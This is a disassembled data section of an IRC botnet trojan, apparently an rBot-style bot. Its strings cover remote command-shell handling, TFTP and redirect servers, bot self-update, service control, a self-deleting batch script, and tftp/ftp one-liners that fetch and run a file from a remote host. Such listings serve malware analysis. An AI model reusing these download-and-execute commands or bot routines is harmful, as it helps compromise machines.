db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_21 db ' failed to start worker thread, error %d',0
align 4
asc_440D44: ; DATA XREF: sub_40E18A+29o
dw 0Ah
unicode 0, <>,0
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+4Bo
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40E18A+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40E18A+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+147o
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
a__ db '..',0 ; DATA XREF: sub_40E18A+232o
align 4
a__0: ; DATA XREF: sub_40E18A+24Do
unicode 0, <.>,0
aPm_0 db 'PM',0 ; DATA XREF: sub_40E18A+285o
align 10h
aAm db 'AM',0 ; DATA XREF: sub_40E18A+290o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40E18A+2BAo
aS_22 db '<%s>',0 ; DATA XREF: sub_40E18A+2E4o
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40E18A+30Eo
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+330o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aSS_2 db '%s%s/',0 ; DATA XREF: sub_40E18A+374o
align 10h
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40E18A+3BBo
align 10h
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40E18A:loc_40E54Co
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40E18A+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aS_23 db '<%s>',0 ; DATA XREF: sub_40E18A+413o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+434o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40E18A+471o
align 10h
aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+486o
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aSS_3 db '%s%s',0 ; DATA XREF: sub_40E18A+4CAo
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40E18A+511o
align 4
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40E18A:loc_40E6A2o
align 10h
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40E18A+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+589o
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40E18A+618o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40E18A+64Eo
align 4
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40E8F7+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_44121C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0040EAD3o
aClientConnecti db '- client connection from %s:%d.',0
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:0040EB2Bo
dword_441260 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0040EB86o
aServerFailed_0 db '- server failed, returned %d',0
align 4
dword_44128C dd 234032Dh, 69646572h, 74636572h, 202D0302h, 65696C43h
; DATA XREF: ___:0040ECACo
dd 6320746Eh, 656E6E6Fh, 6F697463h, 7266206Eh, 49206D6Fh
dd 25203A50h, 64253A73h, 6553202Ch, 72657672h, 72687420h
dd 3A646165h, 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_22 db 'Failed to start client thread, error: <%d>.',0
unk_441310 db 2Dh ; - ; DATA XREF: ___:0040EE35o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_441354 db 2Dh ; - ; DATA XREF: ___:0040EEFEo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_23 db 'Failed to start connection thread, error: <%d>.',0
unk_441394 db 2Dh ; - ; DATA XREF: ___:0040F0B9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 10h
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:0040F14Ao
align 4
unk_4413D4 db 2Dh ; - ; DATA XREF: ___:0040F17Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
unk_4413FC db 2Dh ; - ; DATA XREF: ___:0040F19Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_441428 db 2Dh ; - ; DATA XREF: ___:0040F1C1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_441454 db 2Dh ; - ; DATA XREF: sub_40F1DD:loc_40F222o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 10h
dword_441480 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_40F237+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 5357203Ah, 61745341h, 70757472h, 203A2928h, 3E64253Ch
dd 2Eh, 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h
dd 6820432Dh, 6C646E61h, 202C7265h, 6F727265h, 3C203A72h
dd 2E3E6425h, 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_1 db '- Client connection from IP: %s:%d, Server thread: %d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_24 db '- Failed to start client thread, error: <%d>.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 4
unk_441654 db 2Dh ; - ; DATA XREF: sub_40F4EE+59o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_44169C db 2Dh ; - ; DATA XREF: sub_40F4EE+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_4416E4 db 2Dh ; - ; DATA XREF: sub_40F4EE+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_441718 db 2Dh ; - ; DATA XREF: sub_40F63F+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_441758 db 2Dh ; - ; DATA XREF: sub_40F63F+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_441798 db 2Dh ; - ; DATA XREF: sub_40F63F+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_40F738+8Co
align 4
unk_4417C8 db 2Dh ; - ; DATA XREF: sub_40F738+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 10h
dword_441800 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_40F811+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6553202Dh, 72657672h
dd 61747320h, 64657472h, 3A6E6F20h, 3A732520h, 2E6425h
dd 234032Dh, 6B636F73h, 3023473h, 6C43202Dh, 746E6569h
dd 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h
dd 3A732520h, 202C6425h, 76726553h, 74207265h, 61657268h
dd 25203A64h, 2E64h, 234032Dh, 6B636F73h, 3023473h, 6146202Dh
dd 64656C69h, 206F7420h, 72617473h, 6C632074h, 746E6569h
dd 72687420h, 2C646165h, 72726520h, 203A726Fh, 3E64253Ch
dd 2Eh, 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h, 7541202Dh, 6E656874h
dd 61636974h, 6E6F6974h, 69616620h, 2E64656Ch, 6D655220h
dd 2065746Fh, 72657375h, 203A6469h, 21207325h, 7325203Dh
dd 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
dd 69614620h, 2064656Ch, 6F206F74h, 206E6570h, 6B636F73h
dd 29287465h, 6572202Ch, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 6574636Fh, 74h, 70746674h, 72452064h
dd 3A726F72h, 636F7320h, 2874656Bh, 61662029h, 64656C69h
dd 6572202Ch, 6E727574h, 203A6465h, 3E64253Ch, 2Eh, 6272h
dd 7466742Dh, 202D6470h, 6C696146h, 74206465h, 706F206Fh
dd 66206E65h, 3A656C69h, 2E732520h, 0
aTftpdSendingDa db '-tftpd- sending data packets to %s',0
align 10h
aTftpdFileSentT db '-tftpd- file sent to %s',0
dd 4000500h, 7868746Bh, 0
dword_441A84 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_4104DF+10o
dword_441A98 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_4104DF+35o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_410557+60o
align 10h
dword_441AD0 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: ___:00410613o
dword_441ADC dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_410694+20o
dword_441AF0 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_410694:loc_4106C9o
dword_441B04 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: ___:00410746o
dd 676E6974h, 0
dword_441B20 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:004107E3o
dd 6574656Ch, 0
dd 234032Dh, 2636364h, 66202D03h, 656C6961h, 6F742064h
dd 65706F20h, 6F73206Eh, 74656B63h, 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 10h
dw 0Ah
unicode 0, <>,0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
unk_441BC8 db 2Dh ; - ; DATA XREF: ___:00410AC1o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_3 db '- failed to create socket',0
align 4
unk_441BEC db 2Dh ; - ; DATA XREF: ___:00410AFFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_441C10 db 2Dh ; - ; DATA XREF: ___:00410B7Ao
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
unk_441C34 db 2Dh ; - ; DATA XREF: ___:00410BA4o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
dword_441C54 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:00410BE7o
dd 169h
dword_441C6C dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:00410C48o
dd 74756Fh
unk_441C84 db 2Dh ; - ; DATA XREF: ___:00410C7Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_441CA8 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:00410DE8o
dd 726F72h
dword_441CC0 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:00410DF9o
dd 726F72h
unk_441CD8 db 2Dh ; - ; DATA XREF: ___:00410D77o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
aSS_9 db '%s%s',0 ; DATA XREF: ___:00410E76o
align 4
unk_441D0C db 2Dh ; - ; DATA XREF: ___:00410EA5o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
aAB db 'a+b',0 ; DATA XREF: ___:00410EB9o
unk_441D40 db 2Dh ; - ; DATA XREF: ___:00410ECDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
unk_441D6C db 2Dh ; - ; DATA XREF: ___:00410EEDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
dword_441D8C dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:00410F78o
dd 726F72h
unk_441DA4 db 2Dh ; - ; DATA XREF: ___:00410FF1o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 10h
unk_441DD0 db 2Dh ; - ; DATA XREF: ___:004110D4o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
unk_441DF8 db 2Dh ; - ; DATA XREF: ___:004111E0o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 10h
unk_441E20 db 2Dh ; - ; DATA XREF: ___:004111F2o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
unk_441E48 db 2Dh ; - ; DATA XREF: ___:00411235o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_441E74 db 2Dh ; - ; DATA XREF: ___:004112BFo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_441E9C db 2Dh ; - ; DATA XREF: ___:0041133Eo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
aOpen_2 db 'open',0 ; DATA XREF: ___:00411393o
align 4
dword_441EDC dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:004113B5o
dd 25206465h, 73h
unk_441EF8 db 2Dh ; - ; DATA XREF: ___:00411426o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
unk_441F3C db 2Dh ; - ; DATA XREF: ___:004114E2o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 10h
unk_441F70 db 2Dh ; - ; DATA XREF: ___:004114F0o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
aUnknown db 'Unknown',0 ; DATA XREF: sub_411605:loc_411648o
aInvalid db 'Invalid',0 ; DATA XREF: sub_411605:loc_411642o
aDisk db 'Disk',0 ; DATA XREF: sub_411605:loc_41163Co
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_411605:loc_411636o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_411605:loc_411630o
align 4
off_441FC4 dd offset word_4D4152 ; DATA XREF: sub_411605:loc_41162Ao
dword_441FC8 dd 3Fh ; DATA XREF: sub_411605+1Fo
aFailed db 'failed',0 ; DATA XREF: sub_411696+E0o
align 4
aFailed_0 db 'failed',0 ; DATA XREF: sub_411696+F1o
align 4
aFailed_1 db 'failed',0 ; DATA XREF: sub_411696+102o
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_411696+70o
align 4
aSkb_0 db '%sKB',0 ; DATA XREF: sub_411696+9Bo
align 4
aSkb_1 db '%sKB',0 ; DATA XREF: sub_411696+C6o
align 4
aFailed_2 db 'failed',0 ; DATA XREF: sub_4117BA+3Bo
align 4
unk_442004 db 2Dh ; - ; DATA XREF: sub_4117BA+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
unk_442040 db 2Dh ; - ; DATA XREF: sub_4117BA+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
off_44207C dd offset byte_5C3A41 ; DATA XREF: sub_41188C:loc_4118D1o
dword_442080 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_411949+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4420CC dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_411949+E3o
; ---------------------------------------------------------------------------
loc_4420E8: ; DATA XREF: sub_411949+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_4420FC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_411949+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_411D15+72o
align 4
aMirc_2 db 'mIRC',0 ; DATA XREF: sub_411DDA+5o
align 4
aMirc_3 db 'mIRC',0 ; DATA XREF: sub_411DDA+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_411E5F+1Co
align 4
aSS_4 db '%s %s',0 ; DATA XREF: ___:00411F45o
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_411F81+2o
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_411FA3+48o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_411FA3+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_411FA3+140o
align 4
dword_4421C8 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_41212B+5Co
dd 65726165h, 64h
unk_4421E4 db 2Dh ; - ; DATA XREF: sub_41212B+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
unk_44220C db 2Dh ; - ; DATA XREF: sub_41212B+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_4121EE+9Do
aEchoOpenSDOE_1 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_4121EE+C6o
db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: ___:00412376o
align 10h
aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: ___:00412383o
align 4
off_4422D8 dd offset dword_44232C ; DATA XREF: sub_41243B+6Dr
; sub_41281F+50r ...
off_4422DC dd offset aAdded ; DATA XREF: sub_41243B+2Dr
; sub_41281F+82r ...
; "Added"
dword_4422E0 dd 0 ; DATA XREF: sub_41243B+18r
dd offset aDelete_1 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 442378h, 442380h, 2, 442388h, 442394h, 3
dword_44232C dd 646441h ; DATA XREF: ___:off_4422D8o
aAdded db 'Added',0 ; DATA XREF: ___:off_4422DCo
align 4
aDelete_1 db 'Delete',0 ; DATA XREF: ___:004422E4o
align 10h
aDeleted db 'Deleted',0 ; DATA XREF: ___:004422E8o
aList_1 db 'List',0 ; DATA XREF: ___:004422F0o
align 10h
aListed db 'Listed',0 ; DATA XREF: ___:004422F4o
align 4
aStart_0 db 'Start',0 ; DATA XREF: ___:004422FCo
align 10h
aStarted db 'Started',0 ; DATA XREF: ___:00442300o
aStop_0 db 'Stop',0 ; DATA XREF: ___:00442308o
align 10h
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0044230Co
aPause_0 db 'Pause',0
align 10h
aPaused db 'Paused',0
align 4
aContinue_0 db 'Continue',0
align 4
aContinued db 'Continued',0
align 10h
unk_4423A0 db 2Dh ; - ; DATA XREF: sub_41243B+38o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
unk_4423BC db 2Dh ; - ; DATA XREF: sub_41243B+55o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_4423E8 db 2Dh ; - ; DATA XREF: sub_41243B+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_412564:loc_41263Do
align 4
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_412564:loc_4125BEo
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_412564+3Co
align 10h
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412564:loc_4125B4o
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_412564:loc_4125C8o
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_412564:loc_412612o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412564+8Fo
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_412564:loc_412644o
db 'marked for deletion.',0
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_412564:loc_41264Bo
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412564:loc_412652o
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_412564:loc_412659o
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_412564:loc_412660o
db ' correct access rights.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_412564:loc_412667o
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_412564:loc_4125FDo
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_412564:loc_412604o
db 'tServiceCtrlDispatcher.',0
align 4
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_412564:loc_4125D2o
db 'dependent on it.',0
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_412564:loc_4125AAo
align 4
